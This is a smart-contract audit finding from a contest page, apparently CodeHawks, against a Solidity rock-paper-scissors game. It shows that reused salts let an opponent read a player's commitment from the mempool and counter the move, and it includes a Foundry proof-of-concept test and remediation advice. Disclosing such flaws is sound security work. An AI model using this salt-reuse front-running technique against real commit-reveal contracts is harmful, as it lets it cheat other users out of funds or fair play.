Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

`RockPaperScissors::commitMove` does not check if the commit was made using a previously used salt, causing players to be able to predict the opponent's move before `RockPaperScissors::revealMove` if a salt was reused

37h3rn17y2

Summary

RockPaperScissors::commitMove accepts any _commitHash from players without any sanity checks.

Vulnerability Details

The following is the attack path for a reused salt

1st turn

  1. Player A commits a move using RockPaperScissors::commitMove

  2. Player B commits a move using RockPaperScissors::commitMove

  3. Player A reveals a move using RockPaperScissors::revealMove. This reveals the salt used in step 1 for the first turn

  4. Player B reveals a move using RockPaperScissors::revealMove

2nd turn

  1. Player A commits a move using RockPaperScissors::commitMove using the same salt as the 1st turn

  2. Player B sees the player A's calldata in the mempool and uses the salt in the first turn to calculate the _commitHash for each of the possible moves (Rock/Paper/Scissors), creating a hash table

  3. Player B crosschecks the hash table with player A's 2nd turn _commitHash to determine player A's move

  4. Player B commits a winning move using RockPaperScissors::commitMove

  5. Player A reveals a move using RockPaperScissors::revealMove.

  6. Player B reveals a move using RockPaperScissors::revealMove

  7. Player B wins the 2nd turn

PoC

Place the following in RockPaperScissorsTest.t.sol and run

forge test --mt testPredictReusedSalt

function testPredictReusedSalt() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
uint256 _gameId = createAndJoinGame();
// 1st turn
// 1. Player A commits a move using `RockPaperScissors::commitMove`
(moveA, saltA) = playerACommit(_gameId, RockPaperScissors.Move.Rock);
// 2. Player B commits a move using `RockPaperScissors::commitMove`
(moveB, saltB) = playerBCommit(_gameId, RockPaperScissors.Move.Paper);
// 3. Player A reveals a move using `RockPaperScissors::revealMove`. This reveals the salt used in step 1 for the first turn
playerAReveal(_gameId, RockPaperScissors.Move.Rock, saltA);
bytes memory playerAcalldata = abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", moveA, saltA);
// 0x72722f670000000000000000000000000000000000000000000000000000000000000000c802ebbe46f030034a28f9e40a918c9bd5f49aad463001050875c95c146f5d8a
// Player B decodes the move
// function selector = 0x72722f67
// move = 0000000000000000000000000000000000000000000000000000000000000000 // Rock
// salt = c802ebbe46f030034a28f9e40a918c9bd5f49aad463001050875c95c146f5d8a
// 4. Player B reveals a move using `RockPaperScissors::revealMove`
playerBReveal(_gameId, RockPaperScissors.Move.Paper, saltB);
(,,,,,,,,,,,,,, uint8 scoreBBefore,) = game.games(gameId);
// 2nd turn
// 5. Player A commits a move using `RockPaperScissors::commitMove` using the same salt as the 1st turn
(moveA, saltA) = playerACommit(_gameId, RockPaperScissors.Move.Scissors);
bytes32 commitA = keccak256(abi.encodePacked(uint8(moveA), saltA));
playerAcalldata = abi.encodeWithSignature("commitMove(uint256,bytes32)", commitA);
// 0x26826f62000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000020d85517c43070049d88437bd208642f7f413caa968677de37bb2b241e9724a64800000000000000000000000000000000000000000000000000000000
// commitA = hex"d85517c43070049d88437bd208642f7f413caa968677de37bb2b241e9724a648"
// 6. Player B sees the player A's calldata in the mempool and uses the salt in the first turn to calculate the `_commitHash` for each of the possible moves (Rock/Paper/Scissors), creating a hash table
bytes32 _saltA = hex"c802ebbe46f030034a28f9e40a918c9bd5f49aad463001050875c95c146f5d8a";
bytes32 A_Rock = keccak256(abi.encodePacked(RockPaperScissors.Move.Rock, _saltA));
bytes32 A_Paper = keccak256(abi.encodePacked(RockPaperScissors.Move.Paper, _saltA));
bytes32 A_Scissors = keccak256(abi.encodePacked(RockPaperScissors.Move.Scissors, _saltA));
// 7. Player B crosschecks the hash table with player A's 2nd turn `_commitHash` to determine player A's move
bytes32 Acommit = hex"d85517c43070049d88437bd208642f7f413caa968677de37bb2b241e9724a648";
uint8 Amove = Acommit == A_Rock ? (uint8(RockPaperScissors.Move.Rock)) : (Acommit == A_Paper ? (uint8(RockPaperScissors.Move.Paper)) : (uint8(RockPaperScissors.Move.Scissors)));
// Player B finds out that player A is playing scissors
assertEq(uint8(Amove), uint8(RockPaperScissors.Move.Scissors));
// 8. Player B commits a winning move using `RockPaperScissors::commitMove`
(moveB, saltB) = playerBCommit(_gameId, RockPaperScissors.Move.Rock);
// 9. Player A reveals a move using `RockPaperScissors::revealMove`.
playerAReveal(_gameId, RockPaperScissors.Move.Scissors, saltA);
// 10. Player B reveals a move using `RockPaperScissors::revealMove`
playerBReveal(_gameId, RockPaperScissors.Move.Rock, saltB);
// 11. Player B wins the 2nd turn
(,,,,,,,,,,,,,, uint8 scoreBAfter,) = game.games(gameId);
assertGt(scoreBAfter, scoreBBefore);
​
}
​
function playerACommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerA);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(move), saltA));
game.commitMove(_gameId, commitA);
return(move, saltA);
}
​
function playerBCommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerB);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(move), saltB));
game.commitMove(_gameId, commitB);
return(move, saltB);
}
​
function playerAReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltA) public {
vm.prank(playerA);
game.revealMove(_gameId, uint8(move), saltA);
}
​
function playerBReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltB) public {
vm.prank(playerB);
game.revealMove(_gameId, uint8(move), saltB);
}

Impact

Impact: High, Player is able to predict the opponent's move and win, disrupting the fairness of the game
Likelihood: Medium, Opponent may not be aware that each turn requires a separate salt and reuses the previous round's salt
Severity: High

Tools Used

Manual review

Recommendations

Consider implementing the following:

  1. RockPaperScissors::revealMove should save the salt for each turn after it is revealed

  2. RockPaperScissors::commitMove checks if the player submitted _commitHash uses any salts of the previous turns for each of the possible moves (Rock/Paper/Scissors) and reverts if a previous salt was used

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.